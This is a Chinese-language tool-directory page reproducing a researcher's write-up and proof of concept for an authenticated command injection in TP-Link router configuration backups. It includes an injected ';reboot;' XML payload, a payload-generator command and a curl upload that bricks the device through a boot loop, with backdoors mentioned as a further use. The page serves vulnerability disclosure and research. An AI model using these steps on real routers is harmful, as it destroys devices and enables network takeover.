Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-3227-TP-Link-authenticated-RCE — TP-Link路由器固件中经过身份验证的OS命令注入的概念验证。包含解密、基于QEMU的加密钩子,以及用于持久启动循环或后门部署的15字符载荷生成。 | Kitploit
工具/GitHubGitHub/do4choo/cve-2026-3227-tp-link-authenticated-rce
物联网安全漏洞分析漏洞利用逆向工程Web应用程序漏洞利用渗透测试学习与教育固件分析二进制利用

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
GitHubdo4choo/cve-2026-3227-tp-link-authenticated-rce

CVE-2026-3227-TP-Link-authenticated-RCE

TP-Link路由器固件中经过身份验证的OS命令注入的概念验证。包含解密、基于QEMU的加密钩子,以及用于持久启动循环或后门部署的15字符载荷生成。

查看仓库
4212522个月前Kitploit 审核通过

CVE-2026-3227:TP-Link 路由器操作系统命令注入

CVE Status Hardware Language

更多信息请参阅 https://www.cve.org/CVERecord?id=CVE-2026-3227

TP-Link 路由器固件中存在一个持久化的、经过身份验证的 OS 命令注入漏洞,可导致设备变砖或潜在的局域网接管。

免责声明:本仓库包含针对已修补漏洞的概念验证(PoC)代码。其仅用于教育目的和安全研究人员参考。

执行摘要

多款 TP-Link 路由器(包括 TL-WR802N、TL-WR841N 和 TL-WR840N)的配置备份/恢复机制中存在命令注入漏洞。拥有管理权限的攻击者可以下载路由器配置、对其进行解密、将恶意 OS 命令(最多 15 个字符)注入特定 XML 字段、重新加密,然后将其上传回设备。

当路由器应用该配置时(例如在端口触发事件期间或启动时),注入的载荷将以 root 身份执行。这可用于造成持久性引导循环(通过绕过恢复出厂设置使设备永久变砖)或可能启用用于局域网横向移动的持久性后门。


发现之旅(我是如何找到它的)

在探索路由器的配置备份功能时,我决定对 httpd 二进制文件和 libcmm.so 库进行逆向工程,以了解配置文件是如何加密和解析的。

  1. 解密:我成功编写了一个 Python 脚本,用于解密路由器的配置 blob,从而读取底层 XML 配置。
  2. 寻找汇聚点:在分析 XML 参数时,我发现了被直接传递给系统执行函数且未经过任何清理的注入点。
  3. 加密挑战:复现加密算法相当困难。尽管我逆向并尝试用 Python 和 C 重新实现该算法,但仍无法生成路由器可接受的加密文件。
  4. 变通方案(QEMU Hook):我没有重新造轮子,而是采取了攻击性工程方法。我使用 qemu-user 模拟路由器的架构,并在运行时挂钩路由器原始的 httpd 二进制文件(create_config.c)。这样我就可以直接从我的 Python PoC 中调用路由器原生的加密函数,完美模拟原始加密格式。

技术深度剖析 / 根本原因分析

该漏洞的根源在于产品解析加密配置 blob 并在运行时应用它的方式。在端口触发配置路径中,实现使用用户可控字段构造 shell 命令,且未进行适当的清理。

具体来说,函数 oal_pt_addPortTrigger 调用了:

root@kitploit:~
util_execSystem("oal_pt_addPortTrigger",
  "iptables -A FORWARD_PT -i br+ -p %s -j TRIGGER --trigger-type out --trigger-proto %s --trigger-match %d-%d --trigger-relate %d-%d",
  &local_48, &local_44, *(undefined4 *)(param_2+4), *(undefined4 *)(param_2+4), *psVar3, psVar3[1]);

%s 格式字符串由直接从上传的 XML 配置中解析出的接口字符串(X_TP_IfName)填充。

执行流程:

  1. 上传:http_cgi_gdpr_main -> rdp_setObj -> rsl_setObj -> oal_pt_addPortTrigger
  2. 解析:oal_pt_addPortTrigger 调用 forward_parsePtOpenPort 解析端口列表。
  3. 执行:系统构建 iptables 命令字符串,并通过 util_execSystem(包装了 system())执行。

通过修改解密后的 XML 以包含:

root@kitploit:~
<X_TP_IfName val=";reboot;"/>

该命令会在启动时的接口初始化期间或端口触发事件发生时执行。由于 payload 被限制为 15 个字符,利用开发需要采用紧凑的命令执行技术。

概念验证(PoC)

为避免分发受版权保护的 TP-Link 二进制文件,此 PoC 要求您自行提取路由器的文件系统,以便通过自定义 QEMU hook 使用原生加密库。

前提条件

  • qemu-mipsel 和交叉编译器(gcc-mipsel-linux-gnu)
  • Python 3 及依赖(pip install pycryptodome)
  • 使用 binwalk -Me <firmware.bin> 提取的固件

第 1 步:准备环境

  1. 提取目标固件,并将 squashfs-root 目录复制到本项目的 python_utils/ 中。
  2. 编译 QEMU hook:
    root@kitploit:~
    mipsel-linux-gnu-gcc -shared -fPIC -g -O0 c_hook/create_config.c -o python_utils/create_config.so
    

第 2 步:生成恶意配置

  1. 登录路由器并下载备份配置文件(config.bin)。
  2. 运行 payload 生成器:
    root@kitploit:~
    python3 generate_payload.py -i config.bin -o exploit.bin -p ";reboot;"
    
    注意:Payload 不得超过 15 个字符。

第 3 步:通过 curl 上传配置(我路由器上的更新功能只是个幌子,实际上什么都没做)。

root@kitploit:~
curl -X POST "http://192.168.0.1/cgi/confup" \
  -H "User-Agent: Mozilla/5.0" \
  -H "Referer: http://192.168.0.1/mainFrame.htm" \
  -H "Origin: http://192.168.0.1" \
  -H "Cookie: JSESSIONID=<JSESSIONID_COOKIE>" \
  -F "[email protected];type=application/octet-stream"

第 3 步:触发漏洞

  1. 路由器重启并应用设置后,导航到 转发(Forwarding) -> 端口触发(Port Triggering)。
  2. 添加新的端口触发规则(例如,从下拉菜单中选择“Battle.net”)并保存。
  3. 注入的 OS 命令将以 root 身份执行。如果您使用了 ;reboot;,路由器将立即重启并进入持久性引导循环。
下载工具